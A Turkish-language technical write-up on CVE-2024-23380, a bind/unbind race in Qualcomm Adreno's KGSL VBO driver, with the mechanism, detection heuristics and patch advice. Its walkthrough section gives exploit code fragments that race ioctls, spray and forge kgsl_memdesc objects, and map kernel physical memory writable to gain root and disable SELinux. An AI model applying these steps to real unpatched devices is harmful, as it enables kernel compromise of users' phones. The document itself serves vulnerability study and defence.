CVE-2024-23380: Qualcomm Adreno GPU KGSL VBO mapping race condition (GPUAF / Android root)¶
Bir KGSL Virtual Buffer Object üzerindeki eşzamanlı bind ve unbind operasyonları arasındaki bir race, VBO hâlâ onu map'lerken bir backing page'in refcount'unun sıfıra düşmesine izin verir ve arbitrary physical-memory read/write ile Android root'u süren page-level bir use-after-free ("GPUAF" primitive'i) üretir.
Mechanism¶
Invariant: bir VBO tarafından map'lenen page, PTE'si gidene kadar refcount'lu kalmalı
Bir KGSL Virtual Buffer Object (VBO), range'lerine Basic Memory
Object'leri (BMO) bind ederek doldurulan seyrek (sparse) bir GPU buffer'ıdır.
VBO, binding'lerini ranges_lock ile korunan bir interval/red-black tree'de
(kgsl_memdesc.ranges) izler. Lifecycle invariant'ı: bir BMO'nun physical
page'i, herhangi bir VBO PTE'si onu map'lediği sürece pozitif bir reference
tutmalı ve IOMMU mapping'i refcount değişimiyle atomik olarak
kurulmalı/kaldırılmalı.
Driver, IOMMU map'i ranges_lock dışında yaparak atomikliği bozar. Aynı
VBO üzerinde race eden iki thread tutarsızlığı üretir:
Thread A (bind): Thread B (unbind):
take ranges_lock (waits)
insert BMO into ranges rbtree
bump BMO refcount
drop ranges_lock
-- window -- take ranges_lock
remove BMO from ranges
drop refcount -> 0 (page freed)
drop ranges_lock
map physical page into VBO <----- maps a page that was just freed
Map, lock serbest bırakıldıktan sonra gerçekleştiği için Thread A, Thread B'nin zaten free ettiği bir page'e bir GPU IOMMU translation kurar (veya tutar). VBO artık free edilmiş bir physical page'e dangling bir PTE tutar: GPU command'leri üzerinden erişilebilir bir page-level use-after-free. Bu, failed-unmap bug'ı cve-2024-23373-qualcomm-adreno-gpu-kgsl-memory-management'in ve bir refcount hatasının aynı freed-page koşulunu bileştirdiği "GPUAF" chain'inin tetikleyici ucu. Kavramsal olarak, klasik use-after-free-heap-grooming ile exploit edilen bir GPU-IOMMU page-uaf'i.
Walkthrough¶
Exploitation, chain için belgelenen aynı "GPUAF" akışı; VBO race'i free edilmiş page'i yaratan şey.
Aşama 1 -- race'i tetikle. Yukarıdaki diyagramdaki pencere yakalanana kadar tek bir VBO üzerinde bind ve unbind issue eden iki thread döndür:
int vbo = gpuobj_alloc(fd, size, KGSL_MEMFLAGS_VBO); /* IOCTL_KGSL_GPUOBJ_ALLOC */
void *binder(void *a) { for(;;) ioctl(fd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &bind); }
void *unbinder(void *a) { for(;;) ioctl(fd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &unbind); }
/* run both on separate CPUs until the page is freed while still VBO-mapped */
Aşama 2 -- unbind oracle'ı üzerinden doğrula. GPU üzerinden bir sentinel yaz, sonra açıkça unbind et: başarılı bir race freed-page erişimini korur (sentinel okunabilir kalır); kaybedilen bir race VBO'yu bir zero page'e geri çevirir (sentinel kaybolur).
gpu_write_u32(vbo_gpuaddr, SENTINEL);
gpumem_unbind_ranges(fd, vbo, range);
if (gpu_read_u32(vbo_gpuaddr) == SENTINEL) /* page-level UAF confirmed */;
Aşama 3 -- free edilmiş page'leri kgsl_mem_entry olarak reclaim et. Kernel
KGSL pool'undan page çeksin diye memory pressure uygula, sonra kontrol
edilebilir bir kgsl_mem_entry free edilmiş page'e insin diye VBO'lar/object'ler
spray et; onu, IOCTL_KGSL_GPUOBJ_SET_INFO üzerinden set edilen bir metadata
sentinel'i için GPU CP_MEM_TO_MEM paket'leriyle scan ederek konumlandır.
pressure_alloc_mb(LOTS); /* force reclaim */
for (i=0;i<N;i++) ids[i]=gpuobj_alloc(fd, sz, KGSL_MEMFLAGS_VBO);
gpuobj_set_info(fd, ids[i], METADATA, sentinel); /* IOCTL_KGSL_GPUOBJ_SET_INFO */
gpu_scan_for_sentinel(uaf_gpuaddr); /* CP_MEM_TO_MEM read scan */
Aşama 4 -- arbitrary physical R/W -> root. Konumlandırılmış kgsl_memdesc'i
overwrite et: ops'u kgsl_contiguous_ops'a işaret ettir, physaddr'ı bir
kernel physical base'e ve size'ı kernel range'ine set et. O object'in
mmap()'i sonra kgsl_contiguous_vmfault -> vmf_insert_pfn()'i sürer ve keyfi
kernel physical memory'yi userspace'e writable map'ler:
desc->ops = kgsl_contiguous_ops;
desc->physaddr = KERNEL_PHYS_BASE;
desc->size = KERNEL_PHYS_RANGE;
void *kv = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, obj_off);
/* write SELinux enforce / kernel .text -> root, SELinux disabled */
Araştırma, page-table manipulation yerine bir pipe_buffer forge eden ikinci
bir escalation path'i not eder (pipe-buffer-hijack).
Doğrudan physical erişim virtual MMU'yu bypass ettiği için kCFI, W^X ve DEP'i
atlar. Zafiyetli firmware'de beklenen sonuç: free edilmiş page GPU-accessible
kalır; Temmuz 2024 patch'inde bind/unbind serialize edilir, böylece page free
sonrası asla map'lenmez.
Detection¶
- Birden fazla thread'den tek bir VBO üzerinde yüksek oranda eşzamanlı
IOCTL_KGSL_GPUMEM_BIND_RANGESbind/unbind, race için güçlü bir heuristic'tir. - Bir unbind'dan hemen sonra VBO address'leri üzerindeki SMMU/IOMMU fault'ları veya KGSL page refcount underflow'ları dangling-PTE state'ini gösterir.
- GPUAF, Black Hat USA 2024 / DEF CON 32'de sunuldu (Xiling Gong, Eugene Rodionov, Xuan Xing). Bağımsız bir "GPUAF" rooting çalışması da STAR Labs (Pan Zhenpeng & Jheng Bing Jhong) tarafından belgelendi. Qualcomm'a göre CVSS 7.8.
Mitigation¶
- VBO map/unmap'i range lock ile serialize eden, böylece bir page refcount'u sıfıra ulaştıktan sonra map'lenemeyen Qualcomm'un Temmuz 2024 KGSL patch'ini uygula.
- Android security patch level'ını 2024-07-05 veya sonrasında tut.